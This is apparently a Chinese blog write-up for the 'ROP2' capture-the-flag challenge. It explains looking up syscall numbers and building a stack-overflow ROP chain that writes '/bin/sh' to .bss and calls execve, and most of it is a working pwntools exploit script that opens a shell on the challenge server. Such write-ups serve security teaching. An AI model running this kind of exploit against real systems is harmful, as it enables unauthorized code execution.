ROP2

作者: 2mpossible | 来源:发表于2018-08-16 15:05 被阅读0次

    题目用了syscall来调用了write,read函数,可以查看一下调用号

    locate unistd_32
    //或者
    locate unistd_64
    

    随便查看其中一个文件就可以看到调用号了

    所以栈溢出rop调用read函数往bss段写'/bin/sh'然后再syscall(11,'/bin/sh',0,0) 即execve('/bin/sh',0,0),这里要注意execve的第一个参数是'/bin/sh'的地址

    objdump -d -j .plt rop2         可以查看文件可用的plt
    

    exp:

    from pwn import *
    
    #p = process('./rop2')
    p = remote('hackme.inndy.tw',7703)
    p.recvuntil('ropchain:')
    
    payload = 'a'* 0xc + 'aaaa'
    syscall_plt = 0x08048320
    pppp_ret = 0x08048578
    bss = 0x0804A020
    #gdb.attach(p)
    payload += p32(syscall_plt) + p32(pppp_ret)
    payload += p32(3) + p32(0) + p32(bss) + p32(8)
    payload += p32(syscall_plt) + p32(0xdeadbeef)
    payload += p32(11) + p32(bss) + p32(0) + p32(0)
    
    p.sendline(payload)
    
    p.send('/bin/sh\x00')
    
    p.interactive()
    

    相关文章

      网友评论

          本文标题:ROP2

          本文链接:https://www.haomeiwen.com/subject/hafobftx.html